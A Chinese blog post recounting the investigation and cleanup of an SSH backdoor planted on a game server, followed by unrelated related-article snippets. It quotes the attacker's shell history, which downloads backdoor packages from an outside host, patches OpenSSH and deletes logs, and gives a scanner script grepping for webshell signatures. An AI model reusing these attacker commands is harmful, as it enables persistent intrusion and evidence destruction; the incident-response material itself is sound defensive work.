一次ssh被植入后门的经历及解决方案
昨天发现服务器上面很多程序被挂马了,跟开发一起处理了挂马文件,今早发现游戏后台又打不开了,上服务器发现后台程序的入口文件都被删了,恢复了index.php、admin.php后才能正常访问,晚上谁也没上过服务器,可以判定服务器已经被入侵了,开始排查:
1.首先查看安全日志,指定命令如下:
|
1
|
more /var/log/secure |grep Accepted |
通过对命令输出的查看,下面几条记录令人怀疑:
|
1
2
3
|
Jul 28 05:32:17 localhost sshd[21684]: Accepted password for root from 103.231.104.70 port 3551 ssh2Jul 28 05:37:52 localhost sshd[22754]: Accepted password for root from 103.231.104.70 port 3602 ssh2Jul 28 05:44:40 localhost sshd[23396]: Accepted password for root from 103.231.104.70 port 3650 ssh2 |
这条记录显示5点32分通过root账户从103.231.104.70这个ip成功的登录了系统,103.231.104.70这个ip,经过查询发现是香港特别行政区的一个地址,应该是台代理的机器
2.开始查看系统日志message和wtmp日志,并没有发现什么问题
3.开始查看历史命令,发现了问题:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
387 cp -p /etc/ssh/sshd_config{,.bak} 388 wget www.k2a.cn/Tools/open.tar.gz 406 cd /etc/ssh/ 407 ls 408 wget www.k2a.cn/Tools/patch.tar.gz 409 ls 410 tar -zxvf open.tar.gz 411 tar -zxvf patch.tar.gz 412 cd openssh-5.9p1.patch/ 413 cp sshbd5.9p1.diff ../openssh-5.9p1 414 cd ../openssh-5.9p1 415 patch < sshbd5.9p1.diff 416 vim includes.h 417 ssh -V 418 vim includes.h 419 vi version.h 420 ssh -V 421 vi version.h 422 ./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5 423 make 424 make install 425 id 426 touch -r sshd_config.bak ssh_config 427 cd .. 428 touch -r sshd_config.bak ssh_config 429 service sshd reload 430 ls 431 rm -rf *.tar.gz 432 rm -rf open* 433 rm -rf *.bak 437 cd /var/log/ 439 rm -rf wtmp 440 rm -rf *log 442 cd /etc/scl/prefixes/ 448 rm -rf * |
通过上面的历史记录可以发现攻击者在服务器上安装了ssh后门,关于ssh后门的文章我也查询了几篇,感兴趣的朋友可以看看:
http://www.freebuf.com/tools/10474.html
http://redkey.blog.51cto.com/335290/1345091
按照上面文章中说的,攻击者已经修改了ssh的版本,用ssh -V查看仍是以前版本,目前紧急处理的方案:
重装openssh软件,更新至最新版本
更换ssh默认端口
在iptable中添加ssh访问策略
在重装openssh新版本的时候,make && make install报错如下:
cannot remove `/usr/bin/ssh': Operation not permitted
使用lsattr查看发现ssh添加了uSia的属性,用chattr将这些属性全部去除后,在重新安装正常!
安装完后可使用ssh -V再次查看版本是否正确
开发同事也帮忙查找代码中的木马,使用脚本如下:
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
|
#!/bin/bash#re=$(find -name "*.php" |xargs grep -l "common")if [ ! -d "$myPath"]; then mkdir /tmp/safelogfifunction checksafe(){ path="/home/web/$1" cd $path #re=$(find -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval\(gunerpress|eval\(base64_decoolcode|spider_bc") re=$(find -name "*.php" |xargs egrep "phpspy|c99sh|milw0rm|eval\(gunerpress|eval\(base64_decoolcode|spider_bc|eval\(\\$\_POST\[|assert\(\\$\_POST\[") len=$(expr length "$re") if [ $(echo "$len > 0" | bc) -eq 1 ]; then echo "$re" > /opt/safelog/$1_$(date +%Y%m%d).txt #echo "$re" > $path/cache/safelog/$(date +%Y%m%d).txt fi modifytime $i}function modifytime(){ re=$(find -mtime -1 -type f -name \*.php) len=$(expr length "$re") if [ $len -gt 0 ]; then echo "$re" > /opt/safelog/$1_mf_$(date +%Y%m%d).txt #echo "$re" > $path/cache/safelog/mf_$(date +%Y%m%d).txt fi}ls=$(cd /home/web;ls)for i in $lsdo echo "$i" checksafe $idone |
一次ssh被植入后门的经历及解决方案的更多相关文章
- 系统清理工具CCleaner被植入后门
概述 2017年9月18日,有情报披露,著名的系统优化工具CCleaner的某个版本被发现植入后门,大量使用该工具的用户恐将面临泄密风险.这是继Xshell后门事件后,又一起严重的软件供应链来源攻击事 ...
- 向PE文件植入后门代码技术讨论
写在前面的话 这篇文章将介绍使用codecaves对PE文件植入后门代码.有几个很好的工具可以帮到你了.比如BackdoorFactory和Shelter将完成相同的工作,甚至绕过一些静态分析几个防病 ...
- 数十万PhpStudy用户被植入后门,快来检测你是否已沦为“肉鸡”!
北京时间9月20日,杭州公安发布<杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果>一文,文章曝光了国内知名PHP调试环境程序集成包“PhpStudy软件”遭到黑客篡改并植入“后 ...
- SSH的软链接后门
之前说过为了防止SSH的后面漏洞 , 升级到高版本的OpenSSH , 那也不能保证万无一失 经典后门 直接对sshd建立软连接 , 之后用任意密码登录即可 看下面操作 创建完软连接后 创建新的会 ...
- python植入后门backdoor程序的方法?
后门程序 from gevent.backdoor import BackdoorServer server = BackdoorServer((), banner="Hello from ...
- ssh连接失败, 记下来原因和解决方案
mac下使用secureCRT发现连接不了虚拟机上的linux 运行 ps -e | grep ssh,查看是否有sshd进程 如果没有,说明server没启动,通过 /etc/init.d/sshd ...
- 用secureCRT ssh登陆不显示用户名和路径解决方案 分类: 软件工具学习 2015-03-18 16:52 36人阅读 评论(0) 收藏
方法1 每次开始的时候输入 bash 虽然只能保存一次,但是简便. 方法2 用 vi ~/.bash_profile 编辑这个文件, 有时会提示这个文件不存在,直 ...
- linux 配置ssh无密码登录不起作用的解决方案
1.安装ssh 直接 sudo apt-get install openssh-server 2.查看ssh运行状态 ps -e | grep ssh 如果发现 sshd 和 ssh-agent 即表 ...
- SSH自动断开后重连的解决方案
注:本文出自博主 Chloneda:个人博客 | 博客园 | Github | Gitee | 知乎 本文源链接:https://www.cnblogs.com/chloneda/p/ssh-conn ...
随机推荐
- 基于Apache POI 向xlsx写入数据
[0]写在前面 0.1) these codes are from 基于Apache POI 的向xlsx写入数据 0.2) this idea is from http://cwind.iteye. ...
- Android-Android Studio 3.0找不到Android Device Monitor
原文:https://blog.csdn.net/yuanxiang01/article/details/80494842?utm_source=copy 为什么Android Studio 3. ...
- ES mapping映射及优化
mapping映射 主要类型: 同一index下,不同type中如果有相同filed:es进行mapping映射的时候,按照先写进去的指定类型:比如同一index,包含的type中都有key1字段,如 ...
- GstAppSink简介
Description Appsink is a sink plugin that supports many different methods for making the application ...
- 基于欧氏距离和马氏距离的异常点检测—matlab实现
前几天接的一个小项目,基于欧氏距离和马氏距离的异常点检测,已经交接完毕,现在把代码公开. 基于欧式距离的: load data1.txt %导入数据,行为样本,列为特征 X=data1; %赋值给X ...
- Vue:实践学习笔记(6)——使用SLOT分发内容
Vue:实践学习笔记(6)——使用SLOT分发内容 Slot Slot是什么 Slot是父子组件的通讯方式,可以将父组件的内容显示到子组件之中. 使用SLOT前 比如我在定义组件的时候,在里面输入了X ...
- 转载:SPFA算法学习
转载地址:http://www.cnblogs.com/scau20110726/archive/2012/11/18/2776124.html 粗略讲讲SPFA算法的原理,SPFA算法是1994年西 ...
- 多线程与Java的JMM内存模型
共享内存模型指的就是Java内存模型(简称JMM),JMM决定一个线程对共享变量的写入时,能对另一个线程可见.从抽象的角度来看,JMM定义了线程和主内存之间的抽象关系:线程之间的共享变量存储在主内存( ...
- 分享知识-快乐自己:Spring中的(三种)异常处理机制
案例目录结构: Web.xml 配置: <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application ...
- Mybatis异常_02_Result Maps collection already contains value for
一.异常 1.异常信息 2.异常原因 XXXMapper.xml文件中存在重名对象,保持名称不要一样即可正常启动. 我的原因是namespace与其他mapper 一样. 3.可能的原因 (1)nam ...